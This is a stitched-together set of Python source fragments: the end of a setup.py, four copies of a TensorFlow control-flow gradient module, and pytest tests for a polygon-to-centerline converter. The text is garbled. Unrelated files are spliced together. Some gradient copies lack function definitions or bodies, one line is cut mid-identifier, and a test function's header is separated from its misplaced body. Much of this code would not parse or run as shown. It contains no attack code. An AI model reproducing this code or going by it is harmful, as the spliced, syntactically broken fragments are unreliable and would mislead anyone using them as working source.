      python_requires='>=2.7',
      install_requires=['numpy',
                        'matplotlib'],
      project_urls={'Bug Reports': 'http://example.com',
                    'Source': 'https://github.com/OlafHaag/VectorFields/',
                    },
      )


"""Gradients for operators defined in control_flow_ops.py."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from six.moves import xrange  # pylint: disable=redefined-builtin

from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import control_flow_util
from tensorflow.python.ops import math_ops
from tensorflow.python.ops.control_flow_ops import *

def _SwitchGrad(op, *grad):
  """Gradients for a Switch op is calculated using a Merge op.

  If the switch is a loop switch, it will be visited twice. We create
  the merge on the first visit, and update the other input of the merge
  on the second visit. A next_iteration is also added on second visit.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    merge_grad = grad_ctxt.grad_state.switch_map.get(op)
    if merge_grad is not None:
      # This is the second time this Switch is visited. It comes from
      # the non-exit branch of the Switch, so update the second input
      # to the Merge.
      # TODO(yuanbyu): Perform shape inference with this new input.
      if grad[1] is not None:
        # pylint: disable=protected-access
        control_flow_ops._AddNextAndBackEdge(merge_grad, grad[1],
                                             enforce_shape_invariant=False)
        # pylint: enable=protected-access
      return None, None
    elif grad[0] is not None:
      # This is the first time this Switch is visited. It comes from
      # the Exit branch, which is grad[0]. grad[1] is empty at this point.
      # Use grad[0] for both inputs to merge for now, but update the second
      # input of merge when we see this Switch the second time.
      merge_grad = merge([grad[0], grad[0]], name="b_switch")[0]
      grad_ctxt.grad_state.switch_map[op] = merge_grad
      return merge_grad, None
    else:
      # This is the first time this Switch is visited. It comes from the
      # Identity branch. Such a Switch has `None` gradient for the Exit branch,
      # meaning the output is not differentiable.
      return None, None
  elif isinstance(op_ctxt, CondContext):
    zero_grad = grad[1 - op_ctxt.branch]
    # At this point, we have created zero_grad guarded by the right switch.
    # Unfortunately, we may still get None here for not trainable data types.
    if zero_grad is None:
      return None, None
    return merge(grad, name="cond_grad")[0], None
  else:
    false_grad = switch(grad[0], op.inputs[1])[0]
    true_grad = switch(grad[1], op.inputs[1])[1]
    return merge([false_grad, true_grad])[0], None

ops.RegisterGradient("Switch")(_SwitchGrad)
ops.RegisterGradient("RefSwitch")(_SwitchGrad)

@ops.RegisterGradient("Merge")
def _MergeGrad(op, grad, _):
  """Gradients for a Merge op are calculated using a Switch op."""
  input_op = op.inputs[0].op
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = control_flow_util.GetOutputContext(input_op)
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, grad_ctxt.pivot)
    # pylint: enable=protected-access
  elif isinstance(op_ctxt, CondContext):
    pred = op_ctxt.pred
    if grad_ctxt and grad_ctxt.grad_state:
      # This Merge node is part of a cond within a loop.
      # The backprop needs to have the value of this predicate for every
      # iteration. So we must have its values accumulated in the forward, and
      # use the accumulated values as the predicate for this backprop switch.
      grad_state = grad_ctxt.grad_state
      real_pred = grad_state.history_map.get(pred.name)
      if real_pred is None:
        # Remember the value of pred for every iteration.
        grad_ctxt = grad_state.grad_context
        grad_ctxt.Exit()
        history_pred = grad_state.AddForwardAccumulator(pred)
        grad_ctxt.Enter()

        # Add the stack pop op. If pred.op is in a (outer) CondContext,
        # the stack pop will be guarded with a switch.
        real_pred = grad_state.AddBackpropAccumulatedValue(history_pred, pred)
        grad_state.history_map[pred.name] = real_pred
      pred = real_pred
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, pred, name="cond_grad")
    # pylint: enable=protected-access
  else:
    num_inputs = len(op.inputs)
    cond = [math_ops.equal(op.outputs[1], i) for i in xrange(num_inputs)]
    # pylint: disable=protected-access
    return [control_flow_ops._SwitchRefOrTensor(grad, cond[i])[1]
            for i in xrange(num_inputs)]
    # pylint: enable=protected-access

@ops.RegisterGradient("RefMerge")
def _RefMergeGrad(op, grad, _):
  return _MergeGrad(op, grad, _)

@ops.RegisterGradient("Exit")
def _ExitGrad(op, grad):
  """Gradients for an exit op are calculated using an Enter op."""
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # The flag `back_prop` is set by users to suppress gradient
    # computation for this loop. If the attribute `back_prop` is false,
    # no gradient computation.
    return None

  if op_ctxt.grad_state:
    raise TypeError("Second-order gradient for while loops not supported.")

  if isinstance(grad, ops.Tensor):
    grad_ctxt.AddName(grad.name)
  else:
    if not isinstance(grad, (ops.IndexedSlices, sparse_tensor.SparseTensor)):
      raise TypeError("Type %s not supported" % type(grad))
    grad_ctxt.AddName(grad.values.name)
    grad_ctxt.AddName(grad.indices.name)
    dense_shape = grad.dense_shape
    if dense_shape is not None:
      grad_ctxt.AddName(dense_shape.name)
  grad_ctxt.Enter()
  # pylint: disable=protected-access
  result = control_flow_ops._Enter(
      grad, grad_ctxt.name, is_constant=False,
      parallel_iterations=grad_ctxt.parallel_iterations,
      name="b_exit")
  # pylint: enable=protected-access
  grad_ctxt.loop_enters.append(result)
  grad_ctxt.Exit()
  return result

ops.RegisterGradient("RefExit")(_ExitGrad)

@ops.RegisterGradient("NextIteration")
def _NextIterationGrad(_, grad):
  """A forward next_iteration is translated into a backprop identity.

  Note that the backprop next_iteration is added in switch grad.
  """
  return grad

@ops.RegisterGradient("RefNextIteration")
def _RefNextIterationGrad(_, grad):
  return _NextIterationGrad(_, grad)

@ops.RegisterGradient("Enter")
def _EnterGrad(op, grad):
  """Gradients for an Enter are calculated using an Exit op.

  For loop variables, grad is the gradient so just add an exit.
  For loop invariants, we need to add an accumulator loop.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # Skip gradient computation, if the attribute `back_prop` is false.
    return grad
  if grad_ctxt.grad_state is None:
    # Pass the gradient through if we are not in a gradient while context.
    return grad
  if op.get_attr("is_constant"):
    # Add a gradient accumulator for each loop invariant.
    if isinstance(grad, ops.Tensor):
      result = grad_ctxt.AddBackpropAccumulator(op, grad)
    elif isinstance(grad, ops.IndexedSlices):
      result = grad_ctxt.AddBackpropIndexedSlicesAccumulator(op, grad)
    else:
      raise TypeError("Type %s not supported" % type(grad))
  else:
    result = exit(grad)
    grad_ctxt.loop_exits.append(result)
    grad_ctxt.ExitResult([result])
  return result

@ops.RegisterGradient("RefEnter")

return _EnterGrad(op, grad)

@ops.RegisterGradient("LoopCond")
def _LoopCondGrad(_):
  """Stop backprop for the predicate of a while loop."""
  return None


"""Gradients for operators defined in control_flow_ops.py."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from six.moves import xrange  # pylint: disable=redefined-builtin

from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import control_flow_util
from tensorflow.python.ops import math_ops
from tensorflow.python.ops.control_flow_ops import *

def _SwitchGrad(op, *grad):
  """Gradients for a Switch op is calculated using a Merge op.

  If the switch is a loop switch, it will be visited twice. We create
  the merge on the first visit, and update the other input of the merge
  on the second visit. A next_iteration is also added on second visit.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    merge_grad = grad_ctxt.grad_state.switch_map.get(op)
    if merge_grad is not None:
      # This is the second time this Switch is visited. It comes from
      # the non-exit branch of the Switch, so update the second input
      # to the Merge.
      # TODO(yuanbyu): Perform shape inference with this new input.
      if grad[1] is not None:
        # pylint: disable=protected-access
        control_flow_ops._AddNextAndBackEdge(merge_grad, grad[1],
                                             enforce_shape_invariant=False)
        # pylint: enable=protected-access
      return None, None
    elif grad[0] is not None:
      # This is the first time this Switch is visited. It comes from
      # the Exit branch, which is grad[0]. grad[1] is empty at this point.
      # Use grad[0] for both inputs to merge for now, but update the second
      # input of merge when we see this Switch the second time.
      merge_grad = merge([grad[0], grad[0]], name="b_switch")[0]
      grad_ctxt.grad_state.switch_map[op] = merge_grad
      return merge_grad, None
    else:
      # This is the first time this Switch is visited. It comes from the
      # Identity branch. Such a Switch has `None` gradient for the Exit branch,
      # meaning the output is not differentiable.
      return None, None
  elif isinstance(op_ctxt, CondContext):
    zero_grad = grad[1 - op_ctxt.branch]
    # At this point, we have created zero_grad guarded by the right switch.
    # Unfortunately, we may still get None here for not trainable data types.
    if zero_grad is None:
      return None, None
    return merge(grad, name="cond_grad")[0], None
  else:
    false_grad = switch(grad[0], op.inputs[1])[0]
    true_grad = switch(grad[1], op.inputs[1])[1]
    return merge([false_grad, true_grad])[0], None

ops.RegisterGradient("Switch")(_SwitchGrad)
ops.RegisterGradient("RefSwitch")(_SwitchGrad)

@ops.RegisterGradient("Merge")
def _MergeGrad(op, grad, _):
  """Gradients for a Merge op are calculated using a Switch op."""
  input_op = op.inputs[0].op
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = control_flow_util.GetOutputContext(input_op)
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, grad_ctxt.pivot)
    # pylint: enable=protected-access
  elif isinstance(op_ctxt, CondContext):
    pred = op_ctxt.pred
    if grad_ctxt and grad_ctxt.grad_state:
      # This Merge node is part of a cond within a loop.
      # The backprop needs to have the value of this predicate for every
      # iteration. So we must have its values accumulated in the forward, and
      # use the accumulated values as the predicate for this backprop switch.
      grad_state = grad_ctxt.grad_state
      real_pred = grad_state.history_map.get(pred.name)
      if real_pred is None:
        # Remember the value of pred for every iteration.
        grad_ctxt = grad_state.grad_context
        grad_ctxt.Exit()
        history_pred = grad_state.AddForwardAccumulator(pred)
        grad_ctxt.Enter()

        # Add the stack pop op. If pred.op is in a (outer) CondContext,
        # the stack pop will be guarded with a switch.
        real_pred = grad_state.AddBackpropAccumulatedValue(history_pred, pred)
        grad_state.history_map[pred.name] = real_pred
      pred = real_pred
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, pred, name="cond_grad")
    # pylint: enable=protected-access
  else:
    num_inputs = len(op.inputs)
    cond = [math_ops.equal(op.outputs[1], i) for i in xrange(num_inputs)]
    # pylint: disable=protected-access
    return [control_flow_ops._SwitchRefOrTensor(grad, cond[i])[1]
            for i in xrange(num_inputs)]
    # pylint: enable=protected-access

@ops.RegisterGradient("RefMerge")
def _RefMergeGrad(op, grad, _):
  return _MergeGrad(op, grad, _)

@ops.RegisterGradient("Exit")
def _ExitGrad(op, grad):
  """Gradients for an exit op are calculated using an Enter op."""
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # The flag `back_prop` is set by users to suppress gradient
    # computation for this loop. If the attribute `back_prop` is false,
    # no gradient computation.
    return None

  if op_ctxt.grad_state:
    raise TypeError("Second-order gradient for while loops not supported.")

  if isinstance(grad, ops.Tensor):
    grad_ctxt.AddName(grad.name)
  else:
    if not isinstance(grad, (ops.IndexedSlices, sparse_tensor.SparseTensor)):
      raise TypeError("Type %s not supported" % type(grad))
    grad_ctxt.AddName(grad.values.name)
    grad_ctxt.AddName(grad.indices.name)
    dense_shape = grad.dense_shape
    if dense_shape is not None:
      grad_ctxt.AddName(dense_shape.name)
  grad_ctxt.Enter()
  # pylint: disable=protected-access
  result = control_flow_ops._Enter(
      grad, grad_ctxt.name, is_constant=False,
      parallel_iterations=grad_ctxt.parallel_iterations,
      name="b_exit")
  # pylint: enable=protected-access
  grad_ctxt.loop_enters.append(result)
  grad_ctxt.Exit()
  return result

ops.RegisterGradient("RefExit")(_ExitGrad)

@ops.RegisterGradient("NextIteration")
def _NextIterationGrad(_, grad):
  """A forward next_iteration is translated into a backprop identity.

  Note that the backprop next_iteration is added in switch grad.
  """
  return grad

@ops.RegisterGradient("RefNextIteration")
def _RefNextIterationGrad(_, grad):

@ops.RegisterGradient("Enter")
def _EnterGrad(op, grad):
  """Gradients for an Enter are calculated using an Exit op.

  For loop variables, grad is the gradient so just add an exit.
  For loop invariants, we need to add an accumulator loop.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # Skip gradient computation, if the attribute `back_prop` is false.
    return grad
  if grad_ctxt.grad_state is None:
    # Pass the gradient through if we are not in a gradient while context.
    return grad
  if op.get_attr("is_constant"):
    # Add a gradient accumulator for each loop invariant.
    if isinstance(grad, ops.Tensor):
      result = grad_ctxt.AddBackpropAccumulator(op, grad)
    elif isinstance(grad, ops.IndexedSlices):
      result = grad_ctxt.AddBackpropIndexedSlicesAccumulator(op, grad)
    else:
      raise TypeError("Type %s not supported" % type(grad))
  else:
    result = exit(grad)
    grad_ctxt.loop_exits.append(result)
    grad_ctxt.ExitResult([result])
  return result

@ops.RegisterGradient("RefEnter")
def _RefEnterGrad(op, grad):
  return _EnterGrad(op, grad)

@ops.RegisterGradient("LoopCond")
def _LoopCondGrad(_):
  """Stop backprop for the predicate of a while loop."""
  return None


"""Gradients for operators defined in control_flow_ops.py."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from six.moves import xrange  # pylint: disable=redefined-builtin

from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import control_flow_util
from tensorflow.python.ops import math_ops
from tensorflow.python.ops.control_flow_ops import *

def _SwitchGrad(op, *grad):
  """Gradients for a Switch op is calculated using a Merge op.

  If the switch is a loop switch, it will be visited twice. We create
  the merge on the first visit, and update the other input of the merge
  on the second visit. A next_iteration is also added on second visit.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    merge_grad = grad_ctxt.grad_state.switch_map.get(op)
    if merge_grad is not None:
      # This is the second time this Switch is visited. It comes from
      # the non-exit branch of the Switch, so update the second input
      # to the Merge.
      # TODO(yuanbyu): Perform shape inference with this new input.
      if grad[1] is not None:
        # pylint: disable=protected-access
        control_flow_ops._AddNextAndBackEdge(merge_grad, grad[1],
                                             enforce_shape_invariant=False)
        # pylint: enable=protected-access
      return None, None
    elif grad[0] is not None:
      # This is the first time this Switch is visited. It comes from
      # the Exit branch, which is grad[0]. grad[1] is empty at this point.
      # Use grad[0] for both inputs to merge for now, but update the second
      # input of merge when we see this Switch the second time.
      merge_grad = merge([grad[0], grad[0]], name="b_switch")[0]
      grad_ctxt.grad_state.switch_map[op] = merge_grad
      return merge_grad, None
    else:
      # This is the first time this Switch is visited. It comes from the
      # Identity branch. Such a Switch has `None` gradient for the Exit branch,
      # meaning the output is not differentiable.
      return None, None
  elif isinstance(op_ctxt, CondContext):
    zero_grad = grad[1 - op_ctxt.branch]
    # At this point, we have created zero_grad guarded by the right switch.
    # Unfortunately, we may still get None here for not trainable data types.
    if zero_grad is None:
      return None, None
    return merge(grad, name="cond_grad")[0], None
  else:
    false_grad = switch(grad[0], op.inputs[1])[0]
    true_grad = switch(grad[1], op.inputs[1])[1]
    return merge([false_grad, true_grad])[0], None

ops.RegisterGradient("Switch")(_SwitchGrad)
ops.RegisterGradient("RefSwitch")(_SwitchGrad)

@ops.RegisterGradient("Merge")
def _MergeGrad(op, grad, _):
  """Gradients for a Merge op are calculated using a Switch op."""
  input_op = op.inputs[0].op
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = control_flow_u

  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, grad_ctxt.pivot)
    # pylint: enable=protected-access
  elif isinstance(op_ctxt, CondContext):
    pred = op_ctxt.pred
    if grad_ctxt and grad_ctxt.grad_state:
      # This Merge node is part of a cond within a loop.
      # The backprop needs to have the value of this predicate for every
      # iteration. So we must have its values accumulated in the forward, and
      # use the accumulated values as the predicate for this backprop switch.
      grad_state = grad_ctxt.grad_state
      real_pred = grad_state.history_map.get(pred.name)
      if real_pred is None:
        # Remember the value of pred for every iteration.
        grad_ctxt = grad_state.grad_context
        grad_ctxt.Exit()
        history_pred = grad_state.AddForwardAccumulator(pred)
        grad_ctxt.Enter()

        # Add the stack pop op. If pred.op is in a (outer) CondContext,
        # the stack pop will be guarded with a switch.
        real_pred = grad_state.AddBackpropAccumulatedValue(history_pred, pred)
        grad_state.history_map[pred.name] = real_pred
      pred = real_pred
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, pred, name="cond_grad")
    # pylint: enable=protected-access
  else:
    num_inputs = len(op.inputs)
    cond = [math_ops.equal(op.outputs[1], i) for i in xrange(num_inputs)]
    # pylint: disable=protected-access
    return [control_flow_ops._SwitchRefOrTensor(grad, cond[i])[1]
            for i in xrange(num_inputs)]
    # pylint: enable=protected-access

@ops.RegisterGradient("RefMerge")
def _RefMergeGrad(op, grad, _):
  return _MergeGrad(op, grad, _)

@ops.RegisterGradient("Exit")
def _ExitGrad(op, grad):
  """Gradients for an exit op are calculated using an Enter op."""
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # The flag `back_prop` is set by users to suppress gradient
    # computation for this loop. If the attribute `back_prop` is false,
    # no gradient computation.
    return None

  if op_ctxt.grad_state:
    raise TypeError("Second-order gradient for while loops not supported.")

  if isinstance(grad, ops.Tensor):
    grad_ctxt.AddName(grad.name)
  else:
    if not isinstance(grad, (ops.IndexedSlices, sparse_tensor.SparseTensor)):
      raise TypeError("Type %s not supported" % type(grad))
    grad_ctxt.AddName(grad.values.name)
    grad_ctxt.AddName(grad.indices.name)
    dense_shape = grad.dense_shape
    if dense_shape is not None:
      grad_ctxt.AddName(dense_shape.name)
  grad_ctxt.Enter()
  # pylint: disable=protected-access
  result = control_flow_ops._Enter(
      grad, grad_ctxt.name, is_constant=False,
      parallel_iterations=grad_ctxt.parallel_iterations,
      name="b_exit")
  # pylint: enable=protected-access
  grad_ctxt.loop_enters.append(result)
  grad_ctxt.Exit()
  return result

ops.RegisterGradient("RefExit")(_ExitGrad)

@ops.RegisterGradient("NextIteration")
def _NextIterationGrad(_, grad):
  """A forward next_iteration is translated into a backprop identity.

  Note that the backprop next_iteration is added in switch grad.
  """
  return grad

@ops.RegisterGradient("RefNextIteration")
def _RefNextIterationGrad(_, grad):
  return _NextIterationGrad(_, grad)

@ops.RegisterGradient("Enter")
def _EnterGrad(op, grad):
  """Gradients for an Enter are calculated using an Exit op.

  For loop variables, grad is the gradient so just add an exit.
  For loop invariants, we need to add an accumulator loop.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # Skip gradient computation, if the attribute `back_prop` is false.
    return grad
  if grad_ctxt.grad_state is None:
    # Pass the gradient through if we are not in a gradient while context.
    return grad
  if op.get_attr("is_constant"):
    # Add a gradient accumulator for each loop invariant.
    if isinstance(grad, ops.Tensor):
      result = grad_ctxt.AddBackpropAccumulator(op, grad)
    elif isinstance(grad, ops.IndexedSlices):
      result = grad_ctxt.AddBackpropIndexedSlicesAccumulator(op, grad)
    else:
      raise TypeError("Type %s not supported" % type(grad))
  else:
    result = exit(grad)
    grad_ctxt.loop_exits.append(result)
    grad_ctxt.ExitResult([result])
  return result

@ops.RegisterGradient("RefEnter")
def _RefEnterGrad(op, grad):
  return _EnterGrad(op, grad)

@ops.RegisterGradient("LoopCond")
def _LoopCondGrad(_):
  """Stop backprop for the predicate of a while loop."""
  return None


"""Gradients for operators defined in control_flow_ops.py."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from six.moves import xrange  # pylint: disable=redefined-builtin

from tensorflow.python.framework import ops
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import control_flow_util
from tensorflow.python.ops import math_ops
from tensorflow.python.ops.control_flow_ops import *

def _SwitchGrad(op, *grad):
  """Gradients for a Switch op is calculated using a Merge op.

  If the switch is a loop switch, it will be visited twice. We create
  the merge on the first visit, and update the other input of the merge
  on the second visit. A next_iteration is also added on second visit.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    merge_grad = grad_ctxt.grad_state.switch_map.get(op)
    if merge_grad is not None:
      # This is the second time this Switch is visited. It comes from
      # the non-exit branch of the Switch, so update the second input
      # to the Merge.
      # TODO(yuanbyu): Perform shape inference with this new input.
      if grad[1] is not None:
        # pylint: disable=protected-access
        control_flow_ops._AddNextAndBackEdge(merge_grad, grad[1],
                                             enforce_shape_invariant=False)
        # pylint: enable=protected-access
      return None, None
    elif grad[0] is not None:
      # This is the first time this Switch is visited. It comes from
      # the Exit branch, which is grad[0]. grad[1] is empty at this point.
      # Use grad[0] for both inputs to merge for now, but update the second
      # input of merge when we see this Switch the second time.
      merge_grad = merge([grad[0], grad[0]], name="b_switch")[0]
      grad_ctxt.grad_state.switch_map[op] = merge_grad
      return merge_grad, None
    else:
      # This is the first time this Switch is visited. It comes from the
      # Identity branch. Such a Switch has `None` gradient for the Exit branch,
      # meaning the output is not differentiable.
      return None, None
  elif isinstance(op_ctxt, CondContext):
    zero_grad = grad[1 - op_ctxt.branch]
    # At this point, we have created zero_grad guarded by the right switch.
    # Unfortunately, we may still get None here for not trainable data types.
    if zero_grad is None:
      return None, None
    return merge(grad, name="cond_grad")[0], None
  else:
    false_grad = switch(grad[0], op.inputs[1])[0]
    true_grad = switch(grad[1], op.inputs[1])[1]
    return merge([false_grad, true_grad])[0], None

ops.RegisterGradient("Switch")(_SwitchGrad)
ops.RegisterGradient("RefSwitch")(_SwitchGrad)

@ops.RegisterGradient("Merge")
def _MergeGrad(op, grad, _):
  """Gradients for a Merge op are calculated using a Switch op."""
  input_op = op.inputs[0].op
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = control_flow_util.GetOutputContext(input_op)
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if isinstance(op_ctxt, WhileContext):
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, grad_ctxt.pivot)
    # pylint: enable=protected-access
  elif isinstance(op_ctxt, CondContext):
    pred = op_ctxt.pred
    if grad_ctxt and grad_ctxt.grad_state:
      # This Merge node is part of a cond within a loop.
      # The backprop needs to have the value of this predicate for every
      # iteration. So we must have its values accumulated in the forward, and
      # use the accumulated values as the predicate for this backprop switch.
      grad_state = grad_ctxt.grad_state
      real_pred = grad_state.history_map.get(pred.name)
      if real_pred is None:
        # Remember the value of pred for every iteration.
        grad_ctxt = grad_state.grad_context
        grad_ctxt.Exit()
        history_pred = grad_state.AddForwardAccumulator(pred)
        grad_ctxt.Enter()

        # Add the stack pop op. If pred.op is in a (outer) CondContext,
        # the stack pop will be guarded with a switch.
        real_pred = grad_state.AddBackpropAccumulatedValue(history_pred, pred)
        grad_state.history_map[pred.name] = real_pred
      pred = real_pred
    # pylint: disable=protected-access
    return control_flow_ops._SwitchRefOrTensor(grad, pred, name="cond_grad")
    # pylint: enable=protected-access
  else:
    num_inputs = len(op.inputs)
    cond = [math_ops.equal(op.outputs[1], i) for i in xrange(num_inputs)]
    # pylint: disable=protected-access
    return [control_flow_ops._SwitchRefOrTensor(grad, cond[i])[1]
            for i in xrange(num_inputs)]
    # pylint: enable=protected-access

@ops.RegisterGradient("RefMerge")
def _RefMergeGrad(op, grad, _):
  return _MergeGrad(op, grad, _)

@ops.RegisterGradient("Exit")
def _ExitGrad(op, grad):
  """Gradients for an exit op are calculated using an Enter op."""
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  op_ctxt = op._get_control_flow_context()
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # The flag `back_prop` is set by users to suppress gradient
    # computation for this loop. If the attribute `back_prop` is false,
    # no gradient computation.
    return None

  if op_ctxt.grad_state:
    raise TypeError("Second-order gradient for while loops not supported.")

  if isinstance(grad, ops.Tensor):
    grad_ctxt.AddName(grad.name)
  else:
    if not isinstance(grad, (ops.IndexedSlices, sparse_tensor.SparseTensor)):
      raise TypeError("Type %s not supported" % type(grad))
    grad_ctxt.AddName(grad.values.name)
    grad_ctxt.AddName(grad.indices.name)
    dense_shape = grad.dense_shape
    if dense_shape is not None:
      grad_ctxt.AddName(dense_shape.name)
  grad_ctxt.Enter()
  # pylint: disable=protected-access
  result = control_flow_ops._Enter(
      grad, grad_ctxt.name, is_constant=False,
      parallel_iterations=grad_ctxt.parallel_iterations,
      name="b_exit")
  # pylint: enable=protected-access
  grad_ctxt.loop_enters.append(result)
  grad_ctxt.Exit()
  return result

ops.RegisterGradient("RefExit")(_ExitGrad)

@ops.RegisterGradient("NextIteration")
def _NextIterationGrad(_, grad):
  """A forward next_iteration is translated into a backprop identity.

  Note that the backprop next_iteration is added in switch grad.
  """

@ops.RegisterGradient("RefNextIteration")
def _RefNextIterationGrad(_, grad):
  return _NextIterationGrad(_, grad)

@ops.RegisterGradient("Enter")
def _EnterGrad(op, grad):
  """Gradients for an Enter are calculated using an Exit op.

  For loop variables, grad is the gradient so just add an exit.
  For loop invariants, we need to add an accumulator loop.
  """
  graph = ops.get_default_graph()
  # pylint: disable=protected-access
  grad_ctxt = graph._get_control_flow_context()
  # pylint: enable=protected-access
  if not grad_ctxt.back_prop:
    # Skip gradient computation, if the attribute `back_prop` is false.
    return grad
  if grad_ctxt.grad_state is None:
    # Pass the gradient through if we are not in a gradient while context.
    return grad
  if op.get_attr("is_constant"):
    # Add a gradient accumulator for each loop invariant.
    if isinstance(grad, ops.Tensor):
      result = grad_ctxt.AddBackpropAccumulator(op, grad)
    elif isinstance(grad, ops.IndexedSlices):
      result = grad_ctxt.AddBackpropIndexedSlicesAccumulator(op, grad)
    else:
      raise TypeError("Type %s not supported" % type(grad))
  else:
    result = exit(grad)
    grad_ctxt.loop_exits.append(result)
    grad_ctxt.ExitResult([result])
  return result

@ops.RegisterGradient("RefEnter")
def _RefEnterGrad(op, grad):
  return _EnterGrad(op, grad)

@ops.RegisterGradient("LoopCond")
def _LoopCondGrad(_):
  """Stop backprop for the predicate of a while loop."""
  return None


def test_shp_to_shp_too_large_density_raises_error(
    create_input_file, create_output_centerline_file, caplog
):

from __future__ import unicode_literals

import fiona
import pytest

from click.testing import CliRunner

from centerline.converters import create_centerlines, get_ogr_driver
from centerline.exceptions import UnsupportedVectorType

def test__driver_name__with_shp__returns_esri_shapefile(create_input_file):
    EXPECTED_DRIVER_NAME = "ESRI Shapefile"

    input_file = create_input_file("polygons", "shp")
    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__driver_name__with_json__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = "example.json"

    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__driver_name__with_geojson__returns_geojson(create_input_file):
    EXPECTED_DRIVER_NAME = "GeoJSON"
    input_file = create_input_file("polygons", "geojson")

    driver = get_ogr_driver(input_file)

    assert driver.GetName() == EXPECTED_DRIVER_NAME

def test__with_unknown_extension__returns_valueerror():
    input_file = "example.unknown"

    with pytest.raises(UnsupportedVectorType):
        get_ogr_driver(input_file)

input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines,
        [
            input_polygon_shp,
            output_centerline_shp,
            "--interpolation-distance",
            13.5,
        ],
    )

    assert (
        "Number of produced ridges is too small. Please adjust your "
        "interpolation distance." in caplog.messages
    )

def test_shp_to_shp_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        for record in dst:
            assert record.get("geometry").get("type") == EXPECTED_TYPE

def test_shp_to_shp_record_count_is_3(
    create_input_file, create_output_centerline_file
):
    EXPECTED_COUNT = 3

    input_polygon_shp = create_input_file("polygons", "shp")
    output_centerline_shp = create_output_centerline_file("shp")

    runner = CliRunner()
    runner.invoke(
        create_centerlines, [input_polygon_shp, output_centerline_shp]
    )

    with fiona.open(output_centerline_shp) as dst:
        assert len(list(dst)) == EXPECTED_COUNT

def test_shp_to_geojson_records_geom_type_is_multilinestring(
    create_input_file, create_output_centerline_file
):
    EXPECTED_TYPE = "MultiLineString"

    input_polygon_shp = create_input_file("polygons", "shp")
